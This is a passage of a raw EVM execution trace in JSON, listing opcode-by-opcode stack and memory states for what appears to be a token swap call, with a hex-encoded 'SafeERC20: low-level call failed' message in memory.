"0x0","0x100","0x2f17","0x0","0x1","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15198,"op":"JUMPI","gas":78933,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x100","0x2f17","0x0","0x1","0x0","0x1","0x3b66"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15206,"op":"JUMPDEST","gas":78923,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x100","0x2f17","0x0","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15207,"op":"POP","gas":78922,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x100","0x2f17","0x0","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15208,"op":"ADD","gas":78920,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x100","0x2f17","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15209,"op":"SWAP1","gas":78917,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x100","0x2f17","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15210,"op":"JUMP","gas":78914,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x100","0x1","0x2f17"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12055,"op":"JUMPDEST","gas":78906,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x100","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12056,"op":"DUP2","gas":78905,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x100","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12057,"op":"MLOAD","gas":78902,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x100","0x1","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12058,"op":"DUP2","gas":78899,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x100","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12059,"op":"LT","gas":78896,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x100","0x1","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12060,"op":"PUSH2","gas":78893,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x100","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12063,"op":"JUMPI","gas":78890,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x100","0x1","0x1","0x2f27"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c